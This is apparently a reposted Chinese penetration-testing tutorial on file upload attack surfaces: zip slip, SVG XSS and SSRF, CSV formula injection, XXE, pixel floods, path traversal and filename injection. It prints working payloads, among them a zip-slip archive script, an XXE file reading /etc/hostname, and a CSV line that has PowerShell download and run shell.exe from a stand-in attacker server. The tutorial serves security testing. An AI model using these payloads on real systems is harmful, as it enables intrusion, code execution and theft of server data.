【创宇小课堂】渗透测试-文件上传攻击

admin 2022年2月26日02:42:49评论140 views字数 5220阅读17分24秒阅读模式

前言:对文件上传漏洞介绍文章中 漏洞危害 部分的补充和完善,主要介绍文件上传功能点有哪些攻击面。

文章内容主要围绕下方的思维导图

【创宇小课堂】渗透测试-文件上传攻击
file-upload-mindmap

允许直接上传 shell

只要有文件上传功能,那么就可以尝试上传 webshell 直接执行恶意代码,获得服务器权限,这是最简单也是最直接的利用。

允许上传压缩包

如果可以上传压缩包,并且服务端会对压缩包解压,那么就可能存在Zip Slip目录走访漏洞;恶意攻击者通过构造一个压缩文件条目中带有../的压缩文件,上传后交给应用程序进行解压,由于程序解压时没有对压缩包内部的文件名进行合法性的校验,而是直接将文件名拼接在待解压目录后面,导致可以将文件解压到正常解压缩路径之外并覆盖可执行文件,从而等待系统或用户调用他们实现代码执行(也可能是覆盖配置文件或其他敏感文件)。

本质: 没有对压缩包中的文件名进行合法性校验,直接将文件名拼接到待解压目录中,导致存在路径遍历风险

举例: 若解压目录为/webapp/web/,给文件命名为:../../var/www/html/1.php并压缩,那么文件解压后,通过直接拼接文件名为/webapp/web/../../var/www/html/1.php,因此最终就会存放到/var/www/html/1.php中,如果能访问并解析,那么就能成功代码执行。

利用: zip-slip-vulnerability[1]这个仓库包含了有关此攻击的所有信息,例如受影响的库、项目和其他相关信息。

构造代码:

也可以用别人写好的工具:https://github.com/ptoomey3/evilarc

import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('out.zip''w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'zip_slip.txt'
#destination path of the file
zf.write(fname, '../../../../../../../../../../../../../../../../../../../../../../../../tmp/zip_slip.aaa')
【创宇小课堂】渗透测试-文件上传攻击
image-20220223202524287

允许上传 HTML 或 SVG

允许上传 html 或者 svg 都可以能导致 xss,也能导致任意 URL 跳转,甚至还能导致 SSRF(很难利用),因为核心还是 js 代码可控

html 造成 XSS 就不多说了,懂得都懂

主要说说 svg 文件如何造成 xss

检查思路:

  1. 创建一个恶意的 svg 文件,输入如下内容:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.domain);
   
</script>
</svg>
  1. 上传到文件中,并访问
【创宇小课堂】渗透测试-文件上传攻击
image-20220224102208275

[!tip|style:flat]

如果目标存在导出功能,如给 svg 导出为 pdf 这种功能,那么可能存在 SSRF

<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30"
xlink:href="https://controlledserver.com/pic.svg" />

</svg>

可尝试使用其他协议更直观的查看,如file://

允许上传 CSV

如果允许上传 CSV 文件,且上传的 CSV 文件的内容未经过处理过滤直接保存,那么可以尝试上传具有恶意命令执行 payload 的 CSV 文件,当其他用户下载该 CSV 文件时,可能会导致命令执行。

CSV Payload

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \10.0.0.1321.dll,0'!_xlbgnm.A1

检查思路:

  1. 上传恶意的 CSV 文件
  2. 下载恶意的 CSV 文件
  3. 观察下载后的 CSV 文件是否对等号=等特殊符号做了处理,payloads 会否会成功执行,如果能则说明存在问题

允许上传 XML 格式文件并解析

如果允许上传 XML 格式文件,如docxxlsxsvg等本质是 xml 的文件,且后端会对上传的文件进行解析,那么可能存在 XXE

以恶意 svg 为例,一般尝试 OOB 外带注入的方式来判断最快

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

恶意的 XXE 文档生成:docem[2]

允许上传 PDF

可能存在 PDF XSS 和任意 URL 跳转,但是由于属于浏览器层面的漏洞,所以厂商大概率不认可。

可以直接使用工具生成:https://github.com/harunoz/js_pdf_xss.git

也可以按照网上的操作,用迅捷 PDF 编辑器去操作,效果都一样

允许上传大文件

文件上传的时候,服务端通常会对上传的文件进行大小限制,范围一般为 5MB-200 MB,甚至更小/更大,具体取决于应用程序逻辑。但是如果未限制文件大小或不存在相关的验证检查,那么攻击者可能会上传相对较大的文件,造成大量资源消耗,从而可能导致拒绝服务。

检查思路:

  1. 创建一个超大的图片文件,如 500M 的 png,并上传图片
  2. 新开一个浏览器页面或从另一台设备浏览网站,查看响应速度是否变慢或是否存在连接错误等异常情况

像素洪水攻击

任意可以上传图片的地方都可以进行测试;在Pixel Flood Attack中,攻击者尝试上传具有大像素的文件(64250x64250 像素),一些应用会使用第三方组件/库对图像进行缩小处理,以节省存储空间和处理能力,但是这些第三方库在处理的时候,会将“整个图像”加载到内存中,它会尝试将 4128062500 像素分配到内存中,从而消耗服务器资源,导致应用最终崩溃宕机。

检查思路:

  1. 在https://www.resizepixel.com/中调整图片大小为 64250x64250,上传图片(现在好像不行了,所以我找了个直接能用的 pixel_flood_lottapixel.jpg[3]
  2. 新开一个浏览器页面或从另一台设备浏览网站,查看响应速度是否变慢或是否存在连接错误等异常情况

hackerone $500 实例[4]

会对图片二次渲染

若服务端使用存在漏洞的组件对上传图片进行二次渲染等操作,那么也可以尝试 RCE,如`ImageMagick`[5]

一些 ImageMagick 相关的 CVE:

  • CVE-2016–3714 — Insufficient shell characters filtering leading to (potentially remote) code execution
  • CVE-2016–3715 — File deletion
  • CVE-2016–3716 — File moving
  • CVE-2016–3717 — Local file read
  • CVE-2016–3718 — SSRF

不会对上传文件重命名

一些网站配置不当,或者开发安全意识不严谨,将用户上传的文件直接按原名存储到服务器中,那么我们就可以尝试将文件名添加回溯符../,以上传文件到任意目录,甚至覆盖文件,达到 getshell 或者破坏系统的目的。

[!tip]

在 windows 中由于部分符号不能作为文件名,如果我们将文件名设置为带有这些特殊符号的内容,那么可能让服务器抛出异常

较少的情况下,可以控制上传的目录名,也可以通过路径遍历的方法上传到任意目录中。

如将文件名设置为../../../../etc/passwd,然后上传对应的内容,那么则有可能直接覆盖掉/etc/passwd

一般情况下尽量去覆盖不会对系统产生影响且我们可以直接观察到的文件,如robots.txt

服务端的注入

服务端可能对上传的文件名进行各种处理,如展示到页面、存储到数据库等,因此可能存在各种各样的注入,如 XSS、SQLI 等

如上传文件名为test.png,那么我们可以设置变量为§test§.png,然后 fuzz 一下各种注入的 payload,如sleep(10)-- -.png<h1>test<h1>.png${2*3}

元数据泄漏

元数据是照片背后的故事,它告诉我们图像文件是如何创建的,在哪里和何时创建的。它还描述了照片的内容,确定了摄影师,并向您展示了图像在后期处理中是如何编辑的。简单地说,假设您使用数码相机单击了一张图片,当该图像被处理并保存在存储设备上时,一些属性被添加到文件中,例如作者、位置、设备信息和其他适用于描述图像信息的信息。

如果服务端对用户上传的图片未进行处理就直接展示,那么将可能会导致源数据泄漏;通常情况下,元数据中包含 GPS 地址、设备信息等,会被当作低危。

[!note]

元数据泄漏不仅限于图片,还可以在其他文件格式中找到,如 PDF

检查方法:

  1. 在头像上传等图片可以被枚举的功能点上传包含有 exif 敏感信息的图片,没有的话可以用手机现拍
  2. 下载刚才上传的图片(如果用下面的在线平台这一步可以省略)
  3. 使用 http://exif.regex.info/exif.cgi 或者 exiftool 去分析数据
【创宇小课堂】渗透测试-文件上传攻击
image-20220223220307585

插件

【创宇小课堂】渗透测试-文件上传攻击
image-20220224121013837

参考文章

  • File Upload Attacks (Part 1)[6]
  • File Upload Attacks (Part 2)[7]

参考资料

[1]

zip-slip-vulnerability: https://github.com/snyk/zip-slip-vulnerability

[2]

docem: https://github.com/whitel1st/docem.git

[3]

pixel_flood_lottapixel.jpg: 文件上传攻击.assets/pixel_flood_lottapixel.jpg

[4]

hackerone $500 实例: https://hackerone.com/reports/390

[5]

ImageMagick: https://www.acunetix.com/vulnerabilities/web/imagemagick-remote-code-execution/

[6]

File Upload Attacks (Part 1): https://blog.yeswehack.com/yeswerhackers/exploitation/file-upload-attacks-part-1/

[7]

File Upload Attacks (Part 2): https://blog.yeswehack.com/yeswerhackers/file-upload-attacks-part-2/

【创宇小课堂】渗透测试-文件上传攻击


原文始发于微信公众号(安全宇宙):【创宇小课堂】渗透测试-文件上传攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月26日02:42:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【创宇小课堂】渗透测试-文件上传攻击https://cn-sec.com/archives/803847.html

发表评论

匿名网友 填写信息